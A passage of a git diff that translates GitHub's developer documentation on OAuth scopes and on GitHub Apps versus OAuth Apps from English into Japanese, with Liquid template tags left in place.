-**`delete:packages`** | Grants access to delete packages from {% data variables.product.prodname_registry %}. For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
-**`admin:gpg_key`** | Fully manage GPG keys.
-&emsp;`write:gpg_key`| Create, list, and view details for GPG keys.
-&emsp;`read:gpg_key`| List and view details for GPG keys.{% ifversion fpt or ghec %}
-**`codespace`** | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."
-**`workflow`** | Grants the ability to add and update {% data variables.product.prodname_actions %} workflow files. Workflow files can be committed without this scope if the same file (with both the same path and contents) exists on another branch in the same repository. Workflow files can expose `GITHUB_TOKEN` which may have a different set of scopes. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."{% endif %}
+| 名前                       | 説明                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion not ghae %}
+| **`(スコープなし)`**           | パブリックな情報への読み取りのみのアクセスを許可します (ユーザのプロフィール情報、リポジトリの情報、Gist){% endif %}{% ifversion ghes or ghae %}
+| **`site_admin`**         | サイト管理者に[{% data variables.product.prodname_ghe_server %}の管理APIエンドポイント](/rest/reference/enterprise-admin)へのアクセスを許可します。{% endif %}
+| **`repo`**               | プライベートリポジトリを含め、リポジトリへの完全なアクセスを許可します。 これにはコード、コミットのステータス、リポジトリおよびOrganizationのプロジェクト、招待、コラボレータ、Teamのメンバーシップの追加、デプロイメントのステータス、リポジトリとOrganizationのためのリポジトリwebhookが含まれます。 また、ユーザプロジェクトを管理する機能も許可します。                                                                                                                                                                                                                                                     |
+| &emsp;`repo:status`      | Grants read/write access to commit statuses in {% ifversion fpt %}public and private{% elsif ghec or ghes %}public, private, and internal{% elsif ghae %}private and internal{% endif %} repositories. このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザあるいはサービスにプライベートリポジトリのコミットステータスへのアクセスを許可したい場合のみです。                                                                                                                                                     |
+| &emsp;`repo_deployment`  | [デプロイメントステータス](/rest/reference/repos#deployments) for {% ifversion not ghae %}パブリック{% else %}内部{% endif %}およびプライベートリポジトリへのアクセスを許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*デプロイメントステータスへのアクセスをユーザまたはサービスに許可する場合のみです。{% ifversion not ghae %}
+| &emsp;`public_repo`      | アクセスをパブリックリポジトリのみに制限します。 これには、コード、コミットステータス、リポジトリプロジェクト、コラボレータ、パブリックリポジトリ及びOrganizationのデプロイメントステータスへの読み書きアクセスが含まれます。 パブリックリポジトリにStarを付けるためにも必要です。{% endif %}
+| &emsp;`repo:invite`      | リポジトリでのコラボレーションへの招待の承認／拒否を許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザまたはサービスに招待へのアクセスを許可する場合のみです。{% ifversion fpt or ghes > 3.0 or ghec %}
+| &emsp;`security_events`  | 以下のアクセスを許可します。<br/>[{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)中のセキュリティイベントへの読み取りおよび書き込みアクセス<br/> [{% data variables.product.prodname_secret_scanning %} API](/rest/reference/secret-scanning)中のセキュリティイベントへの読み取りおよび書き込みアクセス<br/> このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザまたはサービスにセキュリティイベントへのアクセスを許可したい場合のみです。{% endif %}{% ifversion ghes < 3.1 %}
+| &emsp;`security_events`  | [{% data variables.product.prodname_code_scanning %} API](/rest/reference/code-scanning)中のセキュリティイベントへの読み書きアクセスを許可します。 このスコープが必要になるのは、コードへのアクセスを許可*することなく*他のユーザまたはサービスにセキュリティイベントへのアクセスを許可したい場合のみです。{% endif %}
+| **`admin:repo_hook`**    | Grants read, write, ping, and delete access to repository hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories. The `repo` {% ifversion fpt or ghec or ghes %}and `public_repo` scopes grant{% else %}scope grants{% endif %} full access to repositories, including repository hooks. アクセスをリポジトリフックのみに限定するには、`admin:repo_hook`スコープを使ってください。 |
+| &emsp;`write:repo_hook`  | Grants read, write, and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.                                                                                                                                                                                                                                                 |
+| &emsp;`read:repo_hook`   | Grants read and ping access to hooks in {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories.                                                                                                                                                                                                                                                         |
+| **`admin:org`**          | OrganizationとそのTeam、プロジェクト、メンバーシップを完全に管理できます。                                                                                                                                                                                                                                                                                                                                                                                                        |
+| &emsp;`write:org`        | Organizationのメンバーシップ、Organizationのプロジェクト、Teamのメンバーシップへの読み書きアクセス。                                                                                                                                                                                                                                                                                                                                                                                     |
+| &emsp;`read:org`         | Organizationのメンバーシップ、Organizationのプロジェクト、Teamのメンバーシップへの読み取りのみのアクセス。                                                                                                                                                                                                                                                                                                                                                                                  |
+| **`admin:public_key`**   | 公開鍵を完全に管理できます。                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| &emsp;`write:public_key` | 公開鍵の作成、リスト、詳細の表示。                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| &emsp;`read:public_key`  | 公開鍵のリストと詳細の表示。                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| **`admin:org_hook`**     | Organizationフックへの読み書き、ping、削除アクセスを許可します。 **ノート:** OAuthトークンがこれらのアクションを行えるのは、OAuth Appが作成したOrganizationフックに対してのみです。 個人アクセストークンがこれらのアクションを行えるのは、ユーザが作成したOrganizationフックに対してのみです。                                                                                                                                                                                                                                                                       |
+| **`gist`**               | Gistへの書き込みアクセスを許可します。                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| **`notifications`**      | 許可するアクセス: <br/>* ユーザの通知に対する読み取りアクセス<br/>* スレッドへの既読アクセス<br/>* リポジトリへのWatch及びWatch解除のアクセス<br/>* スレッドのサブスクリプションに対する読み書き及び削除アクセス。                                                                                                                                                                                                                                                                                                |
+| **`ユーザ`**                | プロフィール情報にのみ読み書きアクセスを許可します。  このスコープには`user:email`と`user:follow`が含まれることに注意してください。                                                                                                                                                                                                                                                                                                                                                                      |
+| &emsp;`read:user`        | ユーザのプロフィールデータへの読み取りアクセスを許可します。                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| &emsp;`user:email`       | ユーザのメールアドレスへの読み取りアクセスを許可します。                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| &emsp;`user:follow`      | 他のユーザのフォローあるいはフォロー解除のアクセスを許可します。                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| **`delete_repo`**        | 管理可能なリポジトリの削除アクセスを許可します。                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| **`write:discussion`**   | Teamのディスカッションの読み書きアクセスを許可します。                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| &emsp;`read:discussion`  | Team ディスカッションの読み取りアクセスを許可します。{% ifversion fpt or ghae or ghec %}
+| **`write:packages`**     | {% data variables.product.prodname_registry %}でのパッケージのアップロードあるいは公開のアクセスを許可します。 詳しい情報については「[パッケージの公開](/github/managing-packages-with-github-packages/publishing-a-package)」を参照してください。                                                                                                                                                                                                                                                                 |
+| **`read:packages`**      | {% data variables.product.prodname_registry %}からのパッケージのダウンロードあるいはインストールのアクセスを許可します。 詳しい情報については「[パッケージのインストール](/github/managing-packages-with-github-packages/installing-a-package)」を参照してください。                                                                                                                                                                                                                                                        |
+| **`delete:packages`**    | {% data variables.product.prodname_registry %}からのパッケージの削除アクセスを許可します。 For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."{% endif %}
+| **`admin:gpg_key`**      | GPGキーを完全に管理できます。                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| &emsp;`write:gpg_key`    | GPGキーの作成、リスト、詳細の表示ができます。                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| &emsp;`read:gpg_key`     | GPGキーのリストと詳細を表示できます。{% ifversion fpt or ghec %}
+| **`codespace`**          | Grants the ability to create and manage codespaces. Codespaces can expose a GITHUB_TOKEN which may have a different set of scopes. For more information, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces#authentication)."{% endif %}
+| **`ワークフロー`**             | {% data variables.product.prodname_actions %}のワークフローファイルの追加と更新機能を許可します。 同じリポジトリ内の他のブランチに同じファイル（パスと内容が同じ）が存在する場合、ワークフローファイルはこのスコープがなくてもコミットできます。 ワークフローファイルは、異なるスコープのセットを持ちうる`GITHUB_TOKEN`を公開できます。 詳しい情報については、「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)」を参照してください。                                                                                                                             |
 
 {% note %}
 
-**Note:** Your OAuth App can request the scopes in the initial redirection. You
-can specify multiple scopes by separating them with a space using `%20`:
+**ノート:**OAuth Appは最初のリダイレクトでスコープをリクエストできます。 スコープは、`%20`を使って、空白で区切って複数指定できます。
 
     https://github.com/login/oauth/authorize?
       client_id=...&
@@ -88,31 +88,16 @@ can specify multiple scopes by separating them with a space using `%20`:
 
 {% endnote %}
 
-## Requested scopes and granted scopes
+## リクエストされたスコープと許可されたスコープ
 
-The `scope` attribute lists scopes attached to the token that were granted by
-the user. Normally, these scopes will be identical to what you requested.
-However, users can edit their scopes, effectively
-granting your application less access than you originally requested. Also, users
-can edit token scopes after the OAuth flow is completed.
-You should be aware of this possibility and adjust your application's behavior
-accordingly.
+`scope`属性は、トークンに添付された、ユーザが許可したスコープをリストします。 通常、これらのスコープはリクエストされたものと同じになります。 しかし、ユーザはスコープを編集でき、実質的にアプリケーションに対して元々リクエストされたよりも少ないアクセスだけを許可できます。 また、ユーザはOAuthフローが完了した後にトークンのスコープを編集することもできます。 この可能性を認識しておき、対応してアプリケーションの動作を調整しなければなりません。
 
-It's important to handle error cases where a user chooses to grant you
-less access than you originally requested. For example, applications can warn
-or otherwise communicate with their users that they will see reduced
-functionality or be unable to perform some actions.
+元々リクエストされたよりも少ないアクセスをユーザが許可した場合のエラーケースを処理することは重要です。 たとえば、アプリケーションはユーザに対し、機能が低下したり、行えないアクションがでてくることを警告したり、知らせたりすることができます。
 
-Also, applications can always send users back through the flow again to get
-additional permission, but don’t forget that users can always say no.
+また、アプリケーションはいつでもユーザをフローに戻して追加の権限を得ようとすることができますが、ユーザは常に拒否できることを忘れないようにしてください。
 
-Check out the [Basics of Authentication guide](/guides/basics-of-authentication/), which
-provides tips on handling modifiable token scopes.
+変更できるトークンのスコープの扱いに関するヒントが提供亜sレテイル、[認証の基礎ガイド](/guides/basics-of-authentication/)を参照してください。
 
-## Normalized scopes
+## 正規化されたスコープ
 
-When requesting multiple scopes, the token is saved with a normalized list
-of scopes, discarding those that are implicitly included by another requested
-scope. For example, requesting `user,gist,user:email` will result in a
-token with `user` and `gist` scopes only since the access granted with
-`user:email` scope is included in the `user` scope.
+複数のスコープがリクエストされた場合、トークンは正規化されたスコープのリストとともに保存され、リクエストされた他のスコープに暗黙のうちに含まれているスコープは破棄されます。 たとえば`user,gist,user:email`をリクエストすると、トークンには`user`と`gist`スコープだけが含まれます。これは、`user:email`スコープで許可されるアクセスは`user`スコープに含まれているためです。
diff --git a/translations/ja-JP/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md b/translations/ja-JP/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
index 6e2ffa00ba..27cb3acd76 100644
--- a/translations/ja-JP/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
+++ b/translations/ja-JP/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Differences between GitHub Apps and OAuth Apps
-intro: 'Understanding the differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} will help you decide which app you want to create. An {% data variables.product.prodname_oauth_app %} acts as a GitHub user, whereas a {% data variables.product.prodname_github_app %} uses its own identity when installed on an organization or on repositories within an organization.'
+title: GitHub App と OAuth App の違い
+intro: '{% data variables.product.prodname_github_apps %} と {% data variables.product.prodname_oauth_apps %} の違いについて知っておくと、どちらのアプリケーションを作成するかを決めるために役立ちます。 {% data variables.product.prodname_oauth_app %} は GitHub ユーザとして振る舞う一方、{% data variables.product.prodname_github_app %} は Organization または Organization 内のリポジトリにインストールされた場合、自らのアイデンティティを用います。'
 redirect_from:
   - /early-access/integrations/integrations-vs-oauth-applications
   - /apps/building-integrations/setting-up-a-new-integration/about-choosing-an-integration-type
@@ -14,99 +14,100 @@ versions:
 topics:
   - GitHub Apps
   - OAuth Apps
-shortTitle: GitHub Apps & OAuth Apps
+shortTitle: GitHub App と OAuth App
 ---
-## Who can install GitHub Apps and authorize OAuth Apps?
 
-You can install GitHub Apps in your personal account or organizations you own. If you have admin permissions in a repository, you can install GitHub Apps on organization accounts. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application.
+## GitHub App のインストール、OAuth App の承認が可能なユーザ
+
+GitHub App は、個人アカウントおよび自分が所有する Organization にインストールできます。 リポジトリの管理者権限がある場合には、GitHub App を Organization のアカウントにインストールできます。 GitHub App がリポジトリにインストールされていて、Organization の権限を要求している場合、Organization のオーナーはアプリケーションを承認する必要があります。
 
 {% data reusables.apps.app_manager_role %}
 
-By contrast, users _authorize_ OAuth Apps, which gives the app the ability to act as the authenticated user. For example, you can authorize an OAuth App that finds all notifications for the authenticated user. You can always revoke permissions from an OAuth App.
+それに対し、ユーザは OAuth App を_承認_します。これにより、アプリケーションは認証されたユーザとして振る舞うことができます。 たとえば、認証されたユーザに対するすべての通知を検索する OAuth App を承認できます。 OAuth App の権限はいつでも取り消すことができます。
 
 {% data reusables.apps.deletes_ssh_keys %}
 
-| GitHub Apps | OAuth Apps |
-| ----- | ------ |
-| You must be an organization owner or have admin permissions in a repository to install a GitHub App on an organization. If a GitHub App is installed in a repository and requires organization permissions, the organization owner must approve the application. | You can authorize an OAuth app to have access to resources. |
-| You can install a GitHub App on your personal repository. | You can authorize an OAuth app to have access to resources.|
-| You must be an organization owner, personal repository owner, or have admin permissions in a repository to uninstall a GitHub App and remove its access. | You can delete an OAuth access token to remove access. |
-| You must be an organization owner or have admin permissions in a repository to request a GitHub App installation. | If an organization application policy is active, any organization member can request to install an OAuth App on an organization. An organization owner must approve or deny the request. |
+| GitHub Apps                                                                                                                                                                       | OAuth App                                                                                                                         |
+| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
+| Organization に GitHub App をインストールするには、Organization のオーナーであるか管理者権限を所有している必要があります。 GitHub App がリポジトリにインストールされていて、Organization の権限を要求している場合、Organization のオーナーはアプリケーションを承認する必要があります。 | OAuth App を認証し、リソースへのアクセス権限を与えることができます。                                                                                           |
+| GitHub App は個人のリポジトリにインストールできます。                                                                                                                                                  | OAuth App を認証し、リソースへのアクセス権限を与えることができます。                                                                                           |
+| GitHub App をアンインストールしてアクセス権限を削除するには、Organization のオーナーであるか、個人リポジトリの所有者であるか、リポジトリの管理者権限を所有している必要があります。                                                                             | OAuth アクセストークンを削除して、アクセス権限を削除することができます。                                                                                           |
+| GitHub App のインストールを要求するには、Organization のオーナーであるかリポジトリの管理者権限を所有している必要があります。                                                                                                        | Organization のアプリケーションポリシーが有効である場合、その Organization の任意のメンバーが OAuth App のインストールを要求できます。 Organization のオーナーは、その要求を承認または拒否する必要があります。 |
 
-## What can GitHub Apps and OAuth Apps access?
+## GitHub App と OAuth App がアクセスできるリソース
 
-Account owners can use a {% data variables.product.prodname_github_app %} in one account without granting access to another. For example, you can install a third-party build service on your employer's organization, but decide not to grant that build service access to repositories in your personal account. A GitHub App remains installed if the person who set it up leaves the organization.
+アカウントの所有者は、別のアカウントにアクセス権限を与えることなく {% data variables.product.prodname_github_app %} を使用できます。 たとえば、サードパーティ製のビルドサービスを従業員の Organization にインストールしつつ、そのビルドサービスに個人アカウントにあるリポジトリへのアクセスを許可しないことができます。 GitHub App をセットアップした人が Organization から離れても、その GitHub App はインストールされたままになります。
 
-An _authorized_ OAuth App has access to all of the user's or organization owner's accessible resources.
+_承認された_ OAuth App は、 ユーザまたは Organization のオーナーがアクセス可能なすべてのリソースにアクセスできます。
 
-| GitHub Apps | OAuth Apps |
-| ----- | ------ |
-| Installing a GitHub App grants the app access to a user or organization account's chosen repositories. | Authorizing an OAuth App grants the app access to the user's accessible resources. For example, repositories they can access. |
-| The installation token from a GitHub App loses access to resources if an admin removes repositories from the installation. | An OAuth access token loses access to resources when the user loses access, such as when they lose write access to a repository. |
-| Installation access tokens are limited to specified repositories with the permissions chosen by the creator of the app. | An OAuth access token is limited via scopes. |
-| GitHub Apps can request separate access to issues and pull requests without accessing the actual contents of the repository. | OAuth Apps need to request the `repo` scope to get access to issues, pull requests, or anything owned by the repository. |
-| GitHub Apps aren't subject to organization application policies. A GitHub App only has access to the repositories an organization owner has granted. | If an organization application policy is active, only an organization owner can authorize the installation of an OAuth App. If installed, the OAuth App gains access to anything visible to the token the organization owner has within the approved organization. |
-| A GitHub App receives a webhook event when an installation is changed or removed. This tells the app creator when they've received more or less access to an organization's resources. | OAuth Apps can lose access to an organization or repository at any time based on the granting user's changing access. The OAuth App will not inform you when it loses access to a resource. |
+| GitHub Apps                                                                                                                    | OAuth App                                                                                                                                                                             |
+| ------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| GitHub App をインスールすると、アプリケーションはユーザまたは Organization アカウントの指定したリポジトリにアクセス可能になります。                                                 | OAuth App を承認すると、アプリケーションはユーザがアクセス可能なリソースにアクセスできます。 （例: リポジトリ）                                                                                                                        |
+| 管理者がインストールからリポジトリを削除した場合、GitHub App のインストールトークンはリソースにアクセスできなくなります。                                                             | リポジトリへの書き込みアクセスを失ったときなど、ユーザがアクセスを失ったとき、OAuth アクセストークンはリソースにアクセスできなくなります。                                                                                                              |
+| インストールアクセストークンは、アプリケーションの作成者が指定したリポジトリの、選択した権限に制限されます。                                                                         | OAuth アクセストークンは、スコープにより制限されます。                                                                                                                                                        |
+| GitHub App は、リポジトリの実際のコンテンツにアクセスすることなく、Issue やプルリクエストへの個別のアクセスを要求できます。                                                         | OAuth App は、Issue やプルリクエストなど、リポジトリが所有するリソースにアクセスするには `repo` スコープをリクエストする必要があります。                                                                                                      |
+| GitHub App には、Organization のアプリケーションポリシーは適用されません。 GitHub App は、Organization のオーナーが許可したリポジトリにのみアクセスできます。                        | Organization のアプリケーションポリシーが有効である場合、Organization のオーナーのみが OAuth App のインストールを承認できます。 インストールされた OAuth App は、承認を受けた Organization において Organization のオーナーが所有するトークンで表示できるすベてのリソースにアクセスできます。 |
+| GitHub App は、インストールが変更または削除されると webhook イベントを受信します。 これにより、アプリケーションの作者は、GitHub App の Organization のリソースに対するアクセス権が変更されたことがわかります。 | OAuth App は、付与したユーザのアクセス権が変更されると、Organization やリポジトリへのアクセス権を失います。 OAuth App は、リソースへのアクセス権を失った際にも通知を行いません。                                                                             |
 
-## Token-based identification
+## トークンベースの識別
 
 {% note %}
 
-**Note:** GitHub Apps can also use a user-based token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+**注釈:** GitHub App は、ユーザベーストークンも使用できます。 詳しい情報については「[GitHub App のユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。
 
 {% endnote %}
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| A GitHub App can request an installation access token by using a private key with a JSON web token format out-of-band. | An OAuth app can exchange a request token for an access token after a redirect via a web request. |
-| An installation token identifies the app as the GitHub Apps bot, such as @jenkins-bot. | An access token identifies the app as the user who granted the token to the app, such as @octocat. |
-| Installation tokens expire after a predefined amount of time (currently 1 hour). | OAuth tokens remain active until they're revoked by the customer. |
-| {% data reusables.apps.api-rate-limits-non-ghec %}{% ifversion fpt or ghec %} Higher rate limits apply for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Rate limits for GitHub Apps](/developers/apps/rate-limits-for-github-apps)."{% endif %} | OAuth tokens use the user's rate limit of 5,000 requests per hour. |
-| Rate limit increases can be granted both at the GitHub Apps level (affecting all installations) and at the individual installation level. | Rate limit increases are granted per OAuth App. Every token granted to that OAuth App gets the increased limit. |
-| {% data variables.product.prodname_github_apps %} can authenticate on behalf of the user, which is called user-to-server requests. The flow to authorize is the same as the OAuth App authorization flow. User-to-server tokens can expire and be renewed with a refresh token. For more information, see "[Refreshing user-to-server access tokens](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)" and "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)." | The OAuth flow used by {% data variables.product.prodname_oauth_apps %} authorizes an {% data variables.product.prodname_oauth_app %} on behalf of the user. This is the same flow used in {% data variables.product.prodname_github_app %} user-to-server authorization. |
+| GitHub Apps                                                                                                                                                                                                                                                                                                                                                                                                                  | OAuth App                                                                                                                                                                                                                        |
+| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| GitHub App は、JSON Web トークンフォーマットのアウトオブバンドで秘密鍵を使用することにより、インストールアクセストークンをリクエストできます。                                                                                                                                                                                                                                                                                                                                            | OAuth App は、Web リクエストを通じてリダイレクトされた後にリクエストトークンをアクセストークンに交換できます。                                                                                                                                                                   |
+| インストールトークンは、アプリケーションを GitHub App のボット (@jenkins-bot など) として識別します。                                                                                                                                                                                                                                                                                                                                                            | アクセストークンは、アプリケーションを、アプリケーションにトークンを付与したユーザ (@octocat など) として識別します。                                                                                                                                                                |
+| インストールトークンは、事前に定義された時間 (現在は 1 時間) が経過すると期限切れになります。                                                                                                                                                                                                                                                                                                                                                                           | OAuth トークンは、顧客によって取り消されるまで有効となります。                                                                                                                                                                                               |
+| {% data reusables.apps.api-rate-limits-non-ghec %}{% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_cloud %} では、適用されるレート制限値が高くなります。 詳しい情報については、「[GitHub App のレート制限](/developers/apps/rate-limits-for-github-apps)」を参照してください。{% endif %}                                                                                                                                                                    | OAuth トークンでは、1 時間あたり 5,000 リクエストのレート制限が適用されます。                                                                                                                                                                                   |
+| レート制限の増加は、GitHub App レベル (すべてのインストールに影響) と個々のインストールレベルの両方に適用できます。                                                                                                                                                                                                                                                                                                                                                            | レート制限の増加は、OAuth App ごとに適用されます。 その OAuth App に付与されたすべてのトークンで、制限値が増大します。                                                                                                                                                           |
+| {% data variables.product.prodname_github_apps %} は、ユーザの代わりに認証を行うことができ、これをユーザからサーバーに対するリクエストといいます。 このフローは、OAuth App 認可フローと同じです。 ユーザからサーバーに対するトークンは期限切れとなることがあり、リフレッシュトークンで更新できます。 詳しい情報については、「[ユーザからサーバーに対するアクセストークンをリフレッシュする](/apps/building-github-apps/refreshing-user-to-server-access-tokens/)」および「[GitHub Apps のユーザの特定と認可](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)」を参照してください。 | {% data variables.product.prodname_oauth_apps %} により使用される OAuth フローでは、ユーザの代わりに {% data variables.product.prodname_oauth_app %} を承認します。 これは、{% data variables.product.prodname_github_app %} ユーザからサーバーに対する承認で用いられるフローと同じです。 |
 
-## Requesting permission levels for resources
+## リソースに対する権限レベルのリクエスト
 
-Unlike OAuth apps, GitHub Apps have targeted permissions that allow them to request access only to what they need. For example, a Continuous Integration (CI) GitHub App can request read access to repository content and write access to the status API. Another GitHub App can have no read or write access to code but still have the ability to manage issues, labels, and milestones. OAuth Apps can't use granular permissions.
+OAuth App と異なり、GitHub App には必要なアクセス権のみをリクエストできる、ターゲットを絞った権限があります。 たとえば、継続的インテグレーション (CI) GitHub App は、リポジトリコンテンツへの読み取りアクセスと、ステータス API への書き込みアクセスをリクエストできます。 別の GitHub App では、コードへの読み取りおよび書き込みアクセスを持たせずに、Issue、ラベル、マイルストーンを管理させることが可能です。 OAuth App では、権限を細かく設定できません。
 
-| Access | GitHub Apps (`read` or `write` permissions) | OAuth Apps |
-| ------ | ----- | ----------- |
-| **For access to public repositories** | Public repository needs to be chosen during installation. | `public_repo` scope. |
-| **For access to repository code/contents** | Repository contents | `repo` scope. |
-| **For access to issues, labels, and milestones** | Issues | `repo` scope. |
-| **For access to pull requests, labels, and milestones** | Pull requests | `repo` scope. |
-| **For access to commit statuses (for CI builds)** | Commit statuses | `repo:status` scope. |
-| **For access to deployments and deployment statuses** | Deployments | `repo_deployment` scope. |
-| **To receive events via a webhook** | A GitHub App includes a webhook by default. | `write:repo_hook` or `write:org_hook` scope. |
+| アクセス                             | GitHub App (`read` または `write` 権限)     | OAuth App                                    |
+| -------------------------------- | -------------------------------------- | -------------------------------------------- |
+| **パブリックリポジトリへのアクセス**             | パブリックリポジトリはインストール中に選択する必要があります。        | `public_repo` スコープ。                          |
+| **リポジトリコード/コンテンツへのアクセス**         | リポジトリコンテンツ                             | `repo` スコープ。                                 |
+| **Issue、ラベル、マイルストーンへのアクセス**      | Issue                                  | `repo` スコープ。                                 |
+| **プルリクエスト、ラベル、マイルストーンへのアクセス**    | プルリクエスト                                | `repo` スコープ。                                 |
+| **(CI ビルドの) コミットのステータスへのアクセス**   | コミットのステータス                             | `repo:status` スコープ。                          |
+| **デプロイメントおよびデプロイメントステータスへのアクセス** | デプロイメント                                | `repo_deployment` スコープ。                      |
+| **webhook 経由によるイベントの受信**         | GitHub App には、デフォルトで webhook が含まれています。 | `write:repo_hook` または `write:org_hook` スコープ。 |
 
-## Repository discovery
+## リポジトリの確認
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub Apps can look at `/installation/repositories` to see repositories the installation can access. | OAuth Apps can look at `/user/repos` for a user view or `/orgs/:org/repos` for an organization view of accessible repositories. |
-| GitHub Apps receive webhooks when repositories are added or removed from the installation. | OAuth Apps create organization webhooks for notifications when a new repository is created within an organization. |
+| GitHub Apps                                                                 | OAuth App                                                                                             |
+| --------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- |
+| GitHub App は、`/installation/repositories` を参照して、インストールでアクセスできるリポジトリを確認できます。 | OAuth App は、ユーザ表示 (`/user/repos`) または Organization 表示 (`/orgs/:org/repos`) を参照して、アクセスできるリポジトリを確認できます。 |
+| GitHub App は、リポジトリがインストールから追加または削除されたときに webhook を受信します。                    | OAuth App は、Organization 内で新しいリポジトリが作成されたときに通知用の Organization webhook を作成します。                         |
 
-## Webhooks
+## webhook
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| By default, GitHub Apps have a single webhook that receives the events they are configured to receive for every repository they have access to. | OAuth Apps request the webhook scope to create a repository webhook for each repository they need to receive events from. |
-| GitHub Apps receive certain organization-level events with the organization member's permission. | OAuth Apps request the organization webhook scope to create an organization webhook for each organization they need to receive organization-level events from. |
+| GitHub Apps                                                                                     | OAuth App                                                                                                                      |
+| ----------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
+| デフォルトでは、GitHub App には webhook が 1 つあり、その webhook は、アクセス権のあるすべてのリポジトリにおいて、受信するよう設定されたイベントを受信します。 | OAuth App は、イベントを受信する必要がある各リポジトリに対し、リポジトリ webhook を作成するため webhook スコープをリクエストします。                                               |
+| GitHub App は、Organization メンバーの権限で、特定の Organization レベルのイベントを受信します。                             | OAuth App は、Organization レベルのイベントを受信する必要がある各 Organization に対し、Organization webhook を作成するため Organization webhook スコープをリクエストします。 |
 
-## Git access
+## Git アクセス
 
-| GitHub Apps | OAuth Apps |
-| ----- | ----------- |
-| GitHub Apps ask for repository contents permission and use your installation token to authenticate via [HTTP-based Git](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation). | OAuth Apps ask for `write:public_key` scope and [Create a deploy key](/rest/reference/deployments#create-a-deploy-key) via the API. You can then use that key to perform Git commands. |
-| The token is used as the HTTP password. | The token is used as the HTTP username. |
+| GitHub Apps                                                                                                                                                                   | OAuth App                                                                                                                                      |
+| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| GitHub App は、リポジトリコンテンツの権限を求め、[HTTP ベースのGit](/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation) 経由で認証するためインストールトークンを使用します。 | OAuth App は `write:public_key` スコープを要求し、API 経由で[デプロイキーを作成](/rest/reference/deployments#create-a-deploy-key)します。 そして、そのキーを使用して Git コマンドを実行できます。 |
+| トークンは、HTTP パスワードとして使用されます。                                                                                                                                                    | トークンは、HTTP ユーザ名として使用されます。                                                                                                                      |
 
-## Machine vs. bot accounts
+## マシンアカウントとボットアカウントの比較
 
-Machine user accounts are OAuth-based user accounts that segregate automated systems using GitHub's user system.
+マシンユーザアカウントは OAuth ベースのユーザアカウントで、GitHub のユーザシステムを使用して自動化されたシステムを分離します。
 
-Bot accounts are specific to GitHub Apps and are built into every GitHub App.
